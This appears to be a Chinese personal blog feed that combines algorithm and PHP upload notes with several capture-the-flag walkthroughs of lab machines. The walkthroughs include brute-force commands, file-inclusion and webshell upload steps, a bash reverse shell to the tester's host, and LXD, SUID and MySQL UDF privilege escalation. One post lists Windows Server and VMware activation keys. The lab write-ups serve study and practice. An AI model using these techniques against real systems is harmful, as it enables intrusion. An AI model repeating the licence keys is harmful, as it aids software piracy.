算法:利用代码实现对应的数学模型,从而解决对应的业务问题。
递推算法是一种简单的算法,即通过已知条件,利用特定关系得出中间推论,直至得到结果的算法。通过最简单已知条件逐步推演结果称为顺推,反之通过结果找到规律推出已知条件成为逆推。
悲波那契数列:1 1 2 3 5 8 13 …
需求:找到第50个数是多少
1 |
|
递归算法是把问题转化为规模缩小了的同类子问题,然后递归调用函数或过程来表示问题的解。递归的本质就是函数调用自己:一个函数需要开辟一块内存空间,递归会出现同时调用N个函数(自己),所以该算法是使用空间换时间。
递归点:发现当前问题可以有解决当前问题的函数,去解决规模比当前小的我问题来解决
递归出口:当问题解决的时候,已经到达最优子问题,不能再次调用函数
悲波那契数列:1 1 2 3 5 8 13 …
需求:找到第50个数是多少
1 |
|
它重复地走访过要排序的元素列,依次比较两个相邻的元素,如果顺序(如从大到小、首字母从Z到A)错误就把他们交换过来。走访元素的工作是重复地进行直到没有相邻元素需要交换,也就是说该元素列已经排序完成。
1 |
|
选择排序(Selection sort)是一种简单直观的排序算法。它的工作原理是:第一次从待排序的数据元素中选出最小(或最大)的一个元素,存放在序列的起始位置,然后再从剩余的未排序元素中寻找到最小(大)元素,然后放到已排序的序列的末尾。以此类推,直到全部待排序的数据元素的个数为零。选择排序是不稳定的排序方法
1 |
|
插入排序,一般也被称为直接插入排序。对于少量元素的排序,它是一个有效的算法。插入排序是一种最简单的排序方法,它的基本思想是将一个记录插入到已经排好序的有序表中,从而一个新的、记录数增1的有序表。在其实现过程使用双层循环,外层循环对除了第一个元素之外的所有元素,内层循环对当前元素前面有序表进行待插入位置查找,并进行移动 。
1 |
|
快速排序(Quicksort)是对冒泡排序的一种改进。
快速排序由C. A. R. Hoare在1960年提出。它的基本思想是:通过一趟排序将要排序的数据分割成独立的两部分,其中一部分的所有数据都比另外一部分的所有数据都要小,然后再按此方法对这两部分数据分别进行快速排序,整个排序过程可以递归进行,以此达到整个数据变成有序序列。
1 |
|
归并排序(Merge Sort)是建立在归并操作上的一种有效,稳定的排序算法,该算法是采用分治法(Divide and Conquer)的一个非常典型的应用。将已有序的子序列合并,得到完全有序的序列;即先使每个子序列有序,再使子序列段间有序。若将两个有序表合并成一个有序表,称为二路归并。
1 |
|
查找算法是在大量的信息中寻找一个特定的信息元素,在计算机应用中,查找是最常用的基本算法。查找算法是指实现查找过程对应的代码集。就是中大型数组中快速定位想要的元素。
顺序查找也称为线性查找,从数据结构线形表的一端开始,顺序扫描,以此将扫描的结点关键字与给定的值比较,若相等则表示查找成功;若扫描结束乃没有找到关键字等于给定值的结点,表示查找失败。
1 |
|
二分查找要求线性表中的结点按关键字值升序或降序排序,用给定值k先与中间结点的关键字比较,中间结点把线性表分成两个子表,若相等则查找成功;若不相等,再根据k与该中间结点关键字的比较结果确定下一步查找哪个子表。这样递归进行,直到查找到或查找结束发现表中没有这样的结点。
1 |
|
文件上传表单中type属性值为file,enctype属性必须为multipart/form-data。
1 |
|
在PHP中有个超全局变量$_FLES,该变量专门用来接收用户上传的文件。
结构如下:
1 | array(5) { |
使用php脚本把上传来的文件移动到指定目录:
1 |
|
通过数组遍历的方式上传文件,都不需要知道name属性值。
1 | <!doctype html> |
1 | <!doctype html> |
撒花!!!!
]]>Frank has a small website and he is a smart developer with a normal security background , he always love to follow patterns , your goal is to discover any critical vulnerabilities and gain access to the system , then you need to gain root access in order to capture the root flag.
This machine was made for Jordan’s Top hacker 2018 CTF , we tried to make it simulate a real world attacks in order to improve your penetration testing skills.
The machine was tested on vmware (player / workstation) and works without any problems , so we recommend to use VMware to run it , Also works fine using virtualbox.
Difficulty: Intermediate , you need to think out of the box and collect all the puzzle pieces in order to get the job done.
The machine is already got DHCP enabled , so you will not have any problems with networking.
Happy Hacking !
v1 - 25/07/2018 v1.0.1 - 31/07/2018 Fixes DHCP Issue
vulnhub:https://www.vulnhub.com/entry/ch4inrulz-101,247/
IP:192.168.1.20
端口:21,22,80,8011
FTP匿名登录,啥也没有;http目录扫描;nikto扫描。
发现三个比较有用的目录,依次打开看看
1 | http://192.168.1.20:8011/api/index.html (CODE:200|SIZE:351) |
访问/api发现有个api列表,以此访问发现只有files_api.php
存在,其他都是404
1 | This API will be used to communicate with Frank's server |
目测是文件包含,传个file:http://192.168.1.20:8011/api/files_api.php?file=../../etc/passwd
然后:HACKER DETECTED
,我以为是过滤,换成http://192.168.1.20:8011/api/files_api.php?file=index.html
还是 一样,所以改成POST传参。
下载index备份到本地,命令:wget http://192.168.1.20/index.html.bak
1 | <html><body><h1>It works!</h1> |
发现了development的用户密码,保存后用joh破解;得到frank:frank!!!
这个时候先不着急访问development,使用ssh登录frank账号。
返回:Permission denied, please try again.
拒绝权限
使用账号访问development目录,提示我们the uploader tool (finished but need security review)
,访问http://192.168.1.20/development/uploader/
成功进入上传界面。
目前确定:存在文件上传,文件包含
利用访问:上传图片shell,使用包含反弹shell
本地监听设置的端口,去网站上传shell文件
返回:File is an image - image/gif.The file shell.gif has been uploaded to my uploads path.
在这里卡了很久,找不到上传目录,后来使用伪协议包含了upload.php
命令:curl -X POST -d "file=php://filter/convert.base64-encode/resource=/var/www/development/uploader/upload.php" http://192.168.1.20:8011/api/files_api.php
1 |
|
看到是FRANKuploads
,返回200,这里目录有个坑:
注意看他提示,上传成功提示保存到我的目录,FRANK是用户名;脑洞不够大
因为我们的不是php后缀文件,不能直接执行;需要使用api文件包含
拿到webshell后成功拿到用户flag:4795aa2a9be22fac10e1c25794e75c1b
切换到frank,但密码好像和网站密码不一致,su没成功
查看一下内核版本,考虑使用内核提权,内核:2.6.35-19-generic
Google搜索:2.6.35-19-generic exploit-db
找到github上的一个漏洞库,2.6.35-19-generic可以利用。
Github:https://github.com/lucyoa/kernel-exploits
复制到kali,使用python搭建简单服务器,到靶机上下载提权文件
系统flag:8f420533b79076cc99e9f95a1a4e5568
我们国人还是不能很好的理解英语,上传目录是最大的体现
做题还是少了,要之前有类似的经验,找目录就不会浪费太多时间
那么好的漏洞库你不git?
This is an easy level VM with some rabbitholes. Enumeration is key to find your way in. There are three flags (2 user and 1 root flag).
The VM is tested on Virtualbox. After the startup it shows the IP address.
Share your rootflag with me on Twitter: @roelvb79
Good luck and have fun!
This works better with VirtualBox rather than VMware
登录界面已经输出了IP地址,直接nmap扫描起
就开放了22端口了80端口
描述:这是带有一些兔子洞的简单级别的VM。枚举是您找到路的关键
,
我们使用hxdra爆破ssh,命令:hydra -l root -P /usr/share/wordlists/rockyou.txt -t 4 192.168.1.18 ssh
ssh不支持密码验证,考虑扫描目录,可能存在密钥文件。
打开Web查看什么都没有,很干净,执行目录扫描!
发现一个wordpress目录,打开确实是wordpress程序
继续扫描Web,使用wpscan扫描wordpress,命令:wpscan --url http://192.168.1.18/wordpress/ -e u,p
发现admin,max账号,对这两个账号继续进行枚举攻击,命令:wpscan --url http://192.168.1.18/wordpress/ -U username -P /usr/share/wordlists/dicr.txt -t 100
,尝试使用不同的字典爆破。
[SUCCESS] - max / opensesame
爆破出了max账号的密码,admin等他继续爆破,先登录max看看;爆破了一晚上也没有结果,看来是无望了。
看到wpscan识别出了两款插件,Google搜索插件版本的exploit;
看到了搜索结果:WordPress Plugin Social Warfare < 3.5.3 - Exploit Database,说明可以符合利用条件。
根据描述发现目标版本符合漏洞利用条件,把exp复制到kali保存,运行脚本
需要提供一个有payload的url给他,代码执行漏洞那我写一个php代码;使用python临时搭建http服务。
这玩意也不行啊,好像paylaod得直接返回shell,不是什么payload都能执行,我们看一下脚本。
输出脚本url手动测试,但是输出得时候发现wordpress没了,只有IP。
后来通过搜索得到了一篇详细得利用说明,最后获得webshell。
通过中国蚁剑连接到服务器,然后执行伪终端进一步提权!
参考链接:https://blog.csdn.net/weixin_30672019/article/details/99381863
使用cat /etc/passwd|grep /bin/bash
查看可以登录的用户;cd /home
查看用户flag,结果没有max用户权限,试试steven用户。
steven用户也没有权限,我之前爆破出max的密码,使用su max
尝试登陆,结果:Password: su: Authentication failure
看来还得提权到max,ls -la
查看隐藏文件;有.ssh文件,还记得上面说的寻找ssh密钥吗?
把id_rsa复制到kali,然后使用ssh密钥登录max的ssh。
成功提权到max并获得第一个flag:073dafccfe902526cee753455ff1dbb0
有lxd权限,可以使用lxd提权;刚好上次靶机的lxd提权脚本还在。
exploit:https://www.exploit-db.com/exploits/46978
home/max/user.txt:073dafccfe902526cee753455ff1dbb0
home/steven/user2.txt:b662b31b7d8cb9f5cdc9c2010337f9b8
root/flag.txt:Easy box right? Hope you’ve had fun! Show me the flag on Twitter @roelvb79
Difficulty: Intermediate
Important!: Before auditing this machine make sure you add the host “sunset-midnight” to your /etc/hosts file, otherwise it may not work as expected.
It is recommended to run this machine in Virtualbox.
This works better with ViritualBox rather than VMware
导入到VirtualBox到中,切换仅主机模式,Vmware的kaili主机桥接到virtualbox网卡。
使用arp-acan -l发现主机,排除1和29,剩下一个10就是靶机IP了,也可以通过MAC地址确定。
并把192.168.1.10sunset-midnight
写到/etc/hosts
中
命令:nmap -A -T4 -p- -v 192.168.1.11
靶机开放端口:22,80,3306
IP绑定域名:sunset-midnight
Web程序:WordPress 5.4.2
HTTP服务器:: Apache/2.4.38 (Debian)
昨晚在TG上一个大佬跟我说:其他端口服务测试要优先于web端口的测试,因为web测试流程更长,兔子洞存在的可能性更高,其他端口测试相对单一直接..
所以咱们直接试试3306弱口令,尝试hydra爆破。
爆破成功,大佬说得对,花5分钟尝试其他端口,不会吃亏!
登录后直接查看管理员数据库,破解密文或者用一个也知名文的密文替换。
使用hash-identifier识别密钥类型,提示可能是”Wordpress”的md5。
同时尝试wpscan爆破admin用户密码:wpscan --url http://sunset-midnight/ -U username -P /usr/share/wordlists/rockyou.txt -t 100
爆破登录密码失败告终!!!
把admin加密成md5更新密码:21232f297a57a5a743894a0e4a801fc3
更新完后退出数据库,尝试admin-admin登录后台
登录成功!!!
修改404.php把shell放上去,访问404页面成功反弹shell回kali
地址:http://sunset-midnight/wp-content/themes/twentytwenty/404.php
反弹回来的shell权限很低,user flag都看不了,对靶机继续提权。
使用python优化终端,或者返回好看的终端:python -c 'import pty;pty.spawn("/bin/bash")'
后来在wordpress配置文件找到了jose数据库用户账号密码,尝试su jose
由于这个反弹终端不太好用,尝试使用ssh登录jose,登录jose后可以获得user.txt
user flag:956a9564aa5632edca7b745c696f6575
执行命令:find / -perm -4000 -type f 2>/dev/null
该命令能查找出有SUID权限的命令,f是普通文件,2>后是屏蔽错误
参考文章:
https://blog.csdn.net/boqiangqing9840/article/details/100967938
https://www.cnblogs.com/iaknehc/p/6881517.html
执行/usr/bin/status
时提示sh: 1: service: not found
所以使用service即可提权,使用ssh-keygen建立长久连接吧
最后还是到了激动人心的时刻,查看flag
Boot2Root ! This is a reallife szenario, but easy going. You have to enumerate and understand the szenario to get the root-flag in round about 20min.
This VM is created/tested with Virtualbox. Maybe it works with vmware.
If you need hints, call me on twitter: @0815R2d2
Have fun…
This works better with VirtualBox rather than VMware
导入到VirtualBox到中,切换仅主机模式,Vmware的kaili主机桥接到virtualbox网卡。
使用arp-acan -l发现主机,排除1和29,剩下一个11就是靶机IP了,也可以通过MAC地址确定。
命令:nmap -A -T4 -p- -v 192.168.1.11
靶机开放端口:21,22,80,33060
IP绑定域名:funbox.fritz.box
Web程序:WordPress 5.4.2
HTTP服务器:: Apache/2.4.41 (Ubuntu)
把funbox.fritz.box
加入到本地本地hosts后使用浏览器打开web服务,看到了WordPress熟悉的界面,看到了纯英文提示,只能百度翻译了。提示暴力破解,root有两个,mysql和ssh。
尝试ssh爆破:hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.11 ssh
尝试mysql爆破:hydra -s 33060 -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.11 mysql
MySQL爆破提示版本不符合,我也不知道为什么,知道的评论告诉我。
暂时放弃爆破,转为80端口尝试(惯用套路),使用wpscan扫描wordpress。
命令:wpscan –url http://funbox.fritz.box/ -e u,p
找到admin,joe用户,手动写一个用户字典进行密码爆破
命令:wpscan –url http://funbox.fritz.box/ -U username.txt -P /usr/share/wordlists/rockyou.txt -t 100
成功爆破admin和joe密码,直接使用admin登录后写404shell。
补充:wpscan需要更新,但更新失败;先安装依赖,然后wpscan –updateapt-get install gcc git ruby ruby-dev libcurl4-openssl-dev make zlib1g-dev
我们保存编辑的时候发现:无法与站点通信以检查致命错误,因此PHP更改已恢复。您需要通过其他方式上传PHP文件更改,例如使用SFTP。
看来是禁止编辑了,试试其他方法,webshell失败告终!
开放了21和22端口,继续尝试登录FTP和SSH,使用admin和joe登录。
admin登录失败,joe成功登录SSH,目录有个mbox文件,是邮件。
后来使用cd ..切换失败:-rbash:cd:受限
1 | 嗨,乔,请告诉搞笑,备份脚本完成了。 |
继续使用joe登录FTP,使用FTP登录成功切换到funny用户目录,下载网站备份。
但我看了一下我就傻眼了,wordpress的登录账号都拿到了,看备份源码有什么用?
然后直接使用FTP把shell脚本上传到网站根目录,但访问显示:WARNING: Failed to daemonise. This is quite common and not fatal. Connection refused (111)
邮件中说备份脚本完成了,应该有个备份脚本在某处,原来是隐藏文件。
备份脚本应该是会自动执行,我们get下载写上反弹bash后put回去;本地监听5555端口,等待shell反弹。bash -i >& /dev/tcp/192.168.1.15/5555 0>&1
成功反弹funny的shell到kali,执行:find / -name user.txt 2>/dev/null
;没有任何返回,应该没有用户flag。
使用ssh密钥的方式登录funny,用ssh-keygen生成密钥:ssh-keygen -t rsa
id_rsa:私钥
id_rsa.pub:公钥
进入.ssh目录把公钥复制回kali的.ssh目录并保存为id_rsa;并在靶机执行:mv id_rsa.pub authorized_keys
最后在密钥文件目录下执行:ssh funny@192.168.1.11 -i ~/.ssh/id_rsa
成功实现免密登录SSH
ssh-keygen参考文章:https://www.cnblogs.com/shoufeng/p/11022258.html
通过git将构建好的alpine镜像克隆至本地;git clone https://github.com/saghul/lxd-alpine-builder.git
执行“build -alpine”命令完成最新版本的Alpine镜像构建,此操作必须由root用户完成;./build-alpine
#过程比较慢
执行完上述操作将在本地文件生成一个tar文件,将tar文件放至靶机的/tmp目录中python -m SimpleHTTPServer
或python3 -m http.server 8000
在靶机使用wget http://192.168.1.15:8000/alpine-v3.12-x86_64-20200813_0835.tar.gz
下载到本地
镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD了:lxc image import ./alpine-v3.12-x86_64-20200813_0835.tar.gz --alias myimage
使用lxc image list
可以查看所有镜像列表。
执行lxc init myimage ignite -c security.privileged=true
报错如下是因为lxd没有初始化
执行lcd init进行初始化,存储名称改成dir,其他全部默认即可
初始化完成后依次执行以下命令:
1 | lxc init myimage ignite -c security.privileged=true |
主机根目录挂载到容器/mnt目录,切换到root目录查看flag.txt
lxd提权参考:https://www.freebuf.com/articles/network/216803.html
使用exploit-db的提权脚本更快捷,也很方便;不要记住太多命令,直接把tar包下载打本地执行./exploit -f alpine-v3.12-x86_64-20200813_0835.tar.gz
Difficulty: Intermediate
Important!: Before auditing this machine make sure you add the host “sunset-midnight” to your /etc/hosts file, otherwise it may not work as expected.
It is recommended to run this machine in Virtualbox.
This works better with ViritualBox rather than VMware
现在进行后导入到VMware中,因为网站提示DHCP service: Enabled
,所以切换到仅主机模式,kali也设置仅主机模式。
使用nmap发现主机时未发现靶机,重启里和靶机和kali还是没有找到IP,后来看了描述说建议在Virtualbox中运行此计算机。
,那我下个Virtualbox呗。
下载好导入后改成桥接kali还是扫描还是没发现靶机,后来了解到VMware中的虚拟机不能和Virtualbox中的虚拟机通信。
之后又把kali从VMware导出ovf,又导入到Virtualbox中,kali和靶机都切换成仅主机,终于可以ping通了。
VMware用习惯了,Virtualbox真用不来,本着不信邪的心态找俩个虚拟机通信的解决方案,最后在一个大佬告诉我了解决方案。
根据这种逻辑,Virtualbox桥接VMware的仅主机网卡也是可以的,但我没有测试。
最后还是不太愉快的完成了环境的搭建,还解决了VMware和Virtualbox之间通信的问题。
根据描述修改本地hosts,很明显WordPress博客,直接浏览器打开康康。
当我打开http://sunset-midnight/
是又重定向到http://funbox.fritz.box/
了,那我就把它也加到hosts里。
打开后向下翻,找到了这么一段提示。其中下面这两条是提示。
1 | There are a minimum of 2 fast ways to get initial footstep. Root needs a bit more time. |
继续收集信息,使用nmap -p- -T4 -A -v funbox.fritz.box
来扫描靶机,根据返回信息确定端口21,22,80,33060开放,并且WordPress 5.4.2,Apache/2.4.41 (Ubuntu),我们针对80和33060=>mysql端口来展开渗透。
Google搜索wordpress 5.4.2 inurl:exploit-db.com没有发现可以之间利用的漏洞,根据他的提示走,使用九头蛇爆破。看到mysql是开放状态,这就意味着允许远程连接,再看I am root
,说明用户名是root,所以推测是mysql爆破。
使用“xhydra”使用gui打开,虽然gui更容易上手,但还是用命令行吧,提高最多。
经过了很多尝试,最后还是失败告终,MySQL报错,后来搜索文章发现还是我的环境问题,靶机开发的应该是3306端口,我这里是33060这是为何。
重新折腾一下环境,根据大佬的文章,之间进靶机修改网卡,之后遇到类似问题也好解决。
参考文章:https://blog.csdn.net/asstart/article/details/103433065
重新导入到VMware,通过拯救模式进行修改密码等操作来完成网卡配置。
开机狂按Shift键,结果出来的却是:
后来奇迹般的进入了拯救模式,可能是我重启次数过多,造成得自动进入,如果按Shift进入不了,开机一直按ctrl+ait+ins,让他不断重启自动进入。后来经过尝试发现了新方法,按下ctrl+ait+ins画面变化是按下Shift。
然后把ro后面(包括ro)删掉,改成rw signie init=/bin/bash,编辑好后直接按下Ctrl+x就能进入出现界面。
然后,嘿嘿嘿~ cat /root/root.txt我们还是遵守游戏规则,一步一步来。
好家伙,interfacers去哪里了,没有那我自己写一个。我发现输入”/“进去的是”-“,最后尝试发现按Shift+7 &是”/“,如果你知道这是为什么请评论告诉我。
然后我自己写了一个,最后保存输入”:”时又出问题,按”shift+.”
然后重启,使用kali扫描,但还是没有,日了狗了啊。
最后我看桌面的“FunBox.ova”文件怎么那么亮闪闪?这个靶机不是叫midnight?淦
这是FunBox靶机,但下载好后我回去看描述,把描述看成midnight的了(小声逼逼:能不能图片别那么像?)
悲伤逆流成河,这是个悲伤的故事,这篇文章之所以没删除是因为写都写了,就用来纪念我没长眼睛吧!我会在后面的文章更新midnight和FunBox的文章,在我这里,就没有迈不出去的坎。
我们遇到什么困难,也不要怕,微笑着面对它,消除恐惧的最好办法就是面对恐惧,坚持,才是胜利!加油,奥利给!
]]>自己在找激活码的时候找的特别痛苦,现在写个笔记比较避免下次使用重找。
cn_win_srv_2003_r2_enterprise_x64_with_sp2_vl_cd1:RYCR6-T7Y6M-2TVHK-C2YW3-7TYQ8
cn_win_srv_2003_r2_enterprise_with_sp2_vl_cd1:DGT8M-XVFW2-BDMQB-7YDX3-M374W
VMware16激活密钥:ZF3R0-FHED2-M80TY-8QYGC-NPKYF
]]>攻击机:
Distributor ID:Kali
Description:Kali GNU/Linux Rolling
Release:2020.2
Codename:kali-rolling
IP:10.0.0.128
靶机:
Computer : ADMIN-9AB4DA91C
OS : Windows .NET Server (5.2 Build 3790, Service Pack 2).
Architecture : x86
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 3
Meterpreter : x86/windows
靶机版本必须是R2的版本,我就因为版本不符合折腾了半天;然后装了X64的R2版本,一直缺少dll文件,后来改用X86的版本才复现成功!
安装好IIS在”Web服务扩展”里开启”WebDAV”即可
CVE_2017_7269:https://github.com/zcgonvh/cve-2017-7269
下载好攻击脚本后放到kali的/usr/share/metasploit-framework/modules/exploits/windows/iis
目录下。
打开msfconsole会自动加载,如果没有加载起来输入reload_all手动加载。
1 | root@kali:~/桌面# mv cve-2017-7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/cev_2017_7269.rb |
注意:这里有个坑,就是得把”-“改成”_“,否则加载不起来,会爆出如下错误:
1 | [!] The following modules could not be loaded!..| |
需要设置得选项有RHOSTS,HttpHost;如果你的端口不是80修改RPORT即可。
这个漏洞其实没必要复现的,但在最近的一次小比赛就因为下划线让我丢了很多分,我很气。
写文章就为了让自己长个下划线的记心,下次不再踩坑;这次复现浪费我很长时间,都在环境搭建。
同时也是为了后人别踩坑,虽然我的博客没啥人;相信吧,快乐的日子将会来临!
当时比赛是要自己导入7269模块,本地的iis_webdav_scstoragepathfromurl是被破坏的;所以我想试试。
第一次尝试失败了,可能是上次攻击造成的环境差异,重启靶机再试一次!
最后进行各种尝试还是没有成功,但我找到一篇文章;总结了失败原因
CVE-2017-7269 IIS6_WebDAV远程代码执行的正确打开方式:https://anquan.baidu.com/article/391
找到IP后直接上nmap -A -p- -T 4 192.168.1.134
发现一个22,10000端口开放;10000端口是http协议,打开看看是什么东西。
提示我们需要使用https协议访问 https://source:10000/
编辑本地hosts来实现域名访问,Windows需要去掉只读属性
Windows:D:\Program Files\cmder\vendor\git-for-windows\etc
Linux:/etc/hosts
打开https://source:10000/ 发现是webmin,Google搜索webmin是什么
总计下来就是一句话,以web的方式管理服务器。10000是webmin的特定端口
msfconsole中搜索webmin,发现webmin的一个后门:exploit/linux/http/webmin_backdoor
使用use exploit/linux/http/webmin_backdoor模块
show options查看需要配置的选项,如下图配置
注意:因为使用https协议,所以需要设置SSL为true,默认为flase且Required为no
用户标志
1 | find / -name user.txt |
Root标志
1 | find / -name root.txt |
靶机
IP:未知
MAC:00:0C:29:A4:BA:BA
kali
IP:192.168.1.131
MAC:00:0C:29:E2:0D:83
VMware打开时仅主机模式,把kali设置成仅主机后重新请求DHCP(命令:dhclient)。获取到IP后使用nmap扫描当前网段,根据MAC获取靶机IP。
1 | root@kali:~/桌面# nmap -sP 192.168.1.1/24 |
根据nmap返回信息确定靶机IP为192.168.1.133,对靶机进行进一步扫描,
1 | root@kali:~/桌面# nmap -T 4 -sV -p- 192.168.1.133 |
靶机开放了80,139,445,8000端口。先从80下手吧,浏览器打开看看是什么。
看了一圈加上目录扫描也没什么东西,暂时放弃,看看8000端口。也是一个网页,是什么暂时不知道,dirseach扫描试试python3 dirsearch.py -u http://192.168.1.133:8000/ -e php -t 20 -x 302,404,301,403
,200响应代码如下:
1 | [15:45:28] Starting: |
访问admin看到网站后台,随便输入看到是提交到api.php去,但是响应代码是404,试试其他的吧。
使用enum4linux扫描445端口收集信息,发现了//172.19.4.11/sambashare共享目录。
(enum4linux软件kali不自带,如果没有请使用apt安装,ip是因为我修改了网卡变得)
使用smbclient客户端软件连接到smb共享目录,登录后发现两个文件,使用get下载到本地查看,其中一个目录文件如下:
是一封邮件,通过收件人确定后台用户邮箱,注意最后一句,Don’t forget your secret, my babygirl ;),猜测密码是babygirl。使用邮箱账号和我的秘密尝试登陆8000端口网站后台,成功了!
找了半天没找到关于之类的说明,然后瞎点了一下头像弹出,点击版本号进入打开了 Koken的官网,目测应该是博客框架,版本是2013年的老版本,0.22.24。
google搜索koken 0.22.24 https://www.exploit-db.com
发现任意文件上传漏洞,首先得学会如何看exploit-db的漏洞利用说明
1 | Steps to exploit: |
说白了就是告诉你漏洞在哪里,怎么利用,找到上传点和绕过方式上传shell脚本就好了。
找了半天也没找到“Import Content”按钮,后来通过Ctrl+f5找到了该按钮(我以为在菜单栏呢)。
写一个一句话保存成123.jpg(随意),打开burp设置代理后到页面上传,拦截后把jpg后缀改成php
上传完shell打开网站巨慢,不知道为什么。
上传了很多遍后缀都是jpg,后来是我改错位置了(基础不牢),仔细看了exploit-db的利用说明发现自己的问题。
上传完右边有个连接,复制打开
点击“Download File”提取直链,添加到蚂🗡中,右键虚拟终端
使用finde搜索:find / -name user.txt 2>/dev/null
发现在/home/daisa/user.txt下,使用cat成功获得第一个flag:d41d8cd98f00b204e9800998ecf8427e
继续使用相同的方法搜索proof.txt,结果返回为空。先吃饭继续提权
使用find / -perm -u=s -type f 2>/dev/null
命令查找www用户有sudo权限的命令用于提权,最终先择php7.2命令
在终端中输入/usr/bin/php7.2 -r "pcntl_exec('/bin/bash', ['-p']);"
进行权限提升,通过whoami发现没有提权成功。
使用msfvenom生成反弹shell,上传到服务器成功反弹shell,使用php7.2提权成功。获得proof.txt。
这是我第一次尝试综合靶机,但是难度不算大,我预期的结果是获得完美的root权限的,但是终究力不从心。
还得学习!!!
二进制:0b开头
八进制:0o开头
十进制:无前缀
十六进制:0x开头
十进制转二进制:bin(3) => ‘0b11’
十进制转八进制:oct(9) => ‘0o11’
十进制转十六进制:hex(11) => ‘0xb’
二进制转十进制:0b11 => 3
八进制转十进制:0o11 => 9
十六进制转十进制:0xb => 11
目录穿越(Directory Traversal)攻击是黑客能够在Web应用程序所在的根目录以外的文件夹上,任意的存取被限制的文件夹,执行命令或查找数据。目录穿越攻击,也与人称为Path Traversal攻击。
攻击者可以使用目录穿越攻击来查找,执行或存取Web应用程序所在的根目录以外的文件夹。如果目录穿越攻击成功,黑客就可以执行破坏性的命令来攻击网站。
1 |
|
源码中接收一个file参数,然后拼接到file后读取内容并输出,理论上只能读取file文件夹下的文件,当前我们加上../就能范围file文件夹的上级目录,../能叠加,直到返回到根目录。
我们在C盘根目录创建hello.txt文件,使用目录穿越来读取里面的内容,这样就能读取非web跟目录的文件。
payload:http://172.19.4.7/ds/readfile.php?file=../../../../../hello.txt
进行URL编码
点=>%2e 反斜杠=>%2f 正斜杠=>%5c
进行16位Unicode编码
点=>%u002e 反斜杠=>%u2215 正斜杠=>%u2216
进行两次URL编码
点=>%252e 反斜杠=>%u252f 正斜杠=>%u255c
进行超长UTF-8 Unicode编码
点=>%c0%2e %e0$40%ae %c0ae
反斜杠=>%c0af %e0%80af %c0%af
正斜杠=>%c0%5c %c0%80%5c
1:在URL内不要使用文件名称作为参数
2:检查使用者输入的文件名是否含有“..”的目录阶层字符。
3:在php.ini文件中设置open_basedir来指定文件的目录。
4:使用realpath函数来展开文件路径中的”./“ “../“等字符,然后返回绝对路径名称。
5:使用basename函数来返回不包含路径的文件名称。
什么是Udf提权?
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。
提权顾名思义就是提示权限,但这里的提权是指自己通过特殊手段给自己提权,达到入侵目的。
那么Udf提权就是利用mysql的Udf来提升自己的权限,实际是用mysql的功能来进行shell,就像phpshell一样,这里我们可以理解为udfshel。
参考文章:https://www.cnblogs.com/sijidou/p/10522972.html
使用Udf提权,mysql用户必须具有读取和写入权限,使用命令:select user,insert_priv,delete_priv from mysql.user where user='root';
查看账户是否具有权限。
因为udf有32位和64位得,所以得确定目标数据库版本(这里是数据库版本,不是操作系统版本)是64位还是32位,使用命令:show variables like 'version%';
和select @@version_compile_os,@@version_compile_machine;
来查看目标数据库位数,version_compile_os是系统版本(我的系统是64位的2003,数据库说是win32),version_compile_machine是数据库版本。
secure_file_priv状态决定mysql能不能导入和导出
secure_file_priv=null 禁止导入导出
secure_file_priv=’path’ 允许在path目录导入导出
secure_file_priv=空白 不限制导入导出
使用show variables like 'sec%';
查看,可以在my.ini修改,不存在secure_file_priv新建即可。修改完成需要重启。
mysql版本如果是在5.1以下udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
mysql版本如果是在5.1以上udf.dll文件放在mysql目录下的plugin文件夹中,这个变量可以在mysql.ini文件中找到并进行编辑。使用select @@plugin_dir查看plugin文件夹。
一共有四种Udf,Windows32位、Windows64位和Linux32位、Linux64位,metasploit的在/usr/share/metasploit-framework/data/exploits/mysql目录下
sqlmap也有,在sqlmap\data\udf\mysql\目录下,sqlmap下的4个udf文件是经过编码的,如果直接丢在mysql的plugin目录下是无法加载的,需要用sqlmap/extra/cloak/cloak.py进行解码,在sqlmap/extra/cloak/目录下使用以下命令,生成的udf文件就会出现在当前文件夹中python .\cloak.py -d -i ..\..\udf\mysql\linux\64\lib_mysqludf_sys.so_ -o linux_udf_64.so
注意:如果没有plugin目录会写入失败,得手动创建plugin目录
这部分是Udf提权的核心
load_file函数支持网络路径,如果将DLL复制到网络共享中,则可以直接加载它并写入磁盘。
使用十六进制编码后写入到磁盘
使用hex编码并保存select hex(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll')) into dumpfile '/tmp/udf.hex';
使用select 0x4D5A90000300000004000000FFFF0000B80000000000000040000... into dumpfile "C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";
写入,成功提示Query OK, 1 row affected (0.001 sec),失败查看错误信息。
创建一个表并将二进制数据插入到十六进制编码流中,其中的二进制数据用update语句来连接。
1 | create table temp(data longblob);//创建temp表 |
直接在磁盘上将文件从网络共享加载到第三种方法创建的表中,使用“load data infile”语句在本地加载。像上图所示将文件转换为十六进制,并在写入磁盘时取消编辑。
使用MySQL 5.6.1和MariaDB 10.0.5中介绍的函数“to_base64”和“from_base64”上传二进制文件。select to_base64(load_file('/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll')) into dumpfile "/tmp/udf32_win.b64";
使用from_base64解密写入到pugin文件夹。
之后就可以像下面这样将整个文件传递给mysql。(网上般的,我不懂)
使用上面讨论的“load data infile”语句,直接从网络共享或本地编写base64编码文件,并像下面这样dump。(这个也是网上的方法,应该可以结合文件上传)
安装sys_exec函数
执行安装命令:create function sys_exec returns int soname ‘udf32.dll’;
报错:Can’t open shared library ‘udf.dll’ (errno: 193 )
万能得度娘没给我答案,然后我放了一个32位的进去就成功了。
验证sys_exec函数
执行查询命令验证:select * from mysql.func;
实际使用
我研究了半天这个函数原来返回值是int,经过测试发现成功返回0,命令执行失败返回1;还可以执行ping看延迟来判断命令有没有被执行。
经过度娘学习发现udf.dll里面有一个能回显命令的函数:sys_eval (想不想php的eval,手动滑稽),
安装sys_eval函数:create function sys_eval returns string soname 'udf32.dll';
验证是否安装成功:select * from mysql.func;
测试命令:select sys_eval('net user');
使用select sys_eval('net user hacker /add');
创建一个用户。
命令:drop function sys_exec;
